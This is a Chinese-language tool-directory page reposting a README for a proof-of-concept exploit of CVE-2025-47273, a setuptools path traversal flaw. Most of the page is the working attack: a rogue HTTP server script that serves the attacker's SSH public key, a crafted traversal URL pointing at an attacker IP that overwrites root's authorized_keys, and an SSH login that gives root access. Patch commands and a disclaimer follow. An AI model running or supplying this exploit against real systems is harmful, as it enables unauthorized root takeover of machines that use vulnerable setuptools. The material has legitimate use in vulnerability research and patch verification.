Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/alielkhatteb/cve-2025-47273-poc
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试供应链安全学习与教育
GitHubalielkhatteb/cve-2025-47273-poc

CVE-2025-47273-POC

CVE-2025-47273 — setuptools 路径遍历 PoC

查看仓库
115个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

setuptools 路径遍历漏洞 CVE-2025-47273

📖 概述

针对 Python setuptools < 78.1.1 中路径遍历漏洞的概念验证利用代码。

通过滥用 PackageIndex 组件的 _download_url 函数,攻击者可以将任意文件写入文件系统的任何位置——具备运行 setuptools 的进程权限。


🎯 漏洞概要

字段详情
🎯 目标Python setuptools < 78.1.1
🐛 漏洞类型路径遍历 (CWE-22)
💥 影响任意文件写入
📍 攻击向量恶意包索引 URL
🔍 根因当第二个参数以 / 开头时,os.path.join() 会丢弃 tmpdir

📋 前置条件

  • 两台机器均安装 Python 3
  • 攻击者机器上已生成 SSH 密钥对(~/.ssh/id_rsa + id_rsa.pub)
  • 目标脚本使用用户可控的 URL 调用 setuptools 的 PackageIndex

🚀 使用方法

🔧 步骤 1 — 准备 SSH 公钥(攻击者机器)

root@kitploit:~
# 将公钥复制到当前目录以便提供
cp ~/.ssh/id_rsa.pub authorized_keys

📡 步骤 2 — 启动恶意 HTTP 服务器(攻击者机器)

该服务器会对任何 GET 请求返回你的公钥——无论请求路径是什么。 setuptools 会请求 /USER/.ssh/authorized_keys 路径,但收到的是你的密钥内容。

root@kitploit:~
cat > python_server.py << 'EOF'
import http.server
import socketserver

class Handler(http.server.SimpleHTTPRequestHandler):
    def do_GET(self):
        # 无论请求的路径是什么,都提供 authorized_keys
        self.send_response(200)
        self.end_headers()
        with open("authorized_keys", "rb") as f:
            self.wfile.write(f.read())

with socketserver.TCPServer(("", 80), Handler) as httpd:
    httpd.serve_forever()
EOF

python3 python_server.py

💥 步骤 3 — 触发路径遍历(受害者机器)

root@kitploit:~
ATTACKER_IP="192.168.1.20"
TARGET_USER="root"

sudo python3 /path/to/vulnerable_script.py \
  "http://${ATTACKER_IP}/%2f${TARGET_USER}%2f.ssh%2fauthorized_keys#egg=evil-1.0"

👾 步骤 4 — 以 root 身份登录(攻击者机器)

root@kitploit:~
ssh root@VICTIM_IP

无需密码,直接获得 root shell。🔑


🔒 补丁

78.1.1 版本修复了该问题。

包管理器命令
🐍 pippip install --upgrade setuptools
🐧 Debian/Ubuntusudo apt upgrade python3-setuptools

📎 参考资料

  • 🔗 NVD — CVE-2025-47273
  • 🔗 GitHub 安全公告 — GHSA-5rjg-fvgr-3xxf
  • 🔗 setuptools 修复提交
  • 🔗 setuptools PoC

⚖️ 免责声明与条款

此概念验证(PoC)代码仅供教育和授权渗透测试目的使用。

  • 未经许可,不得修改、重新分发或将该代码用于任何其他目的。
  • 未经授权的使用或修改可能违法且不道德。
  • 作者对任何滥用或损害不承担任何责任。
下载工具
🎩 RHEL/Fedorasudo dnf upgrade python3-setuptools
🏗️ 手动setuptools 发布页面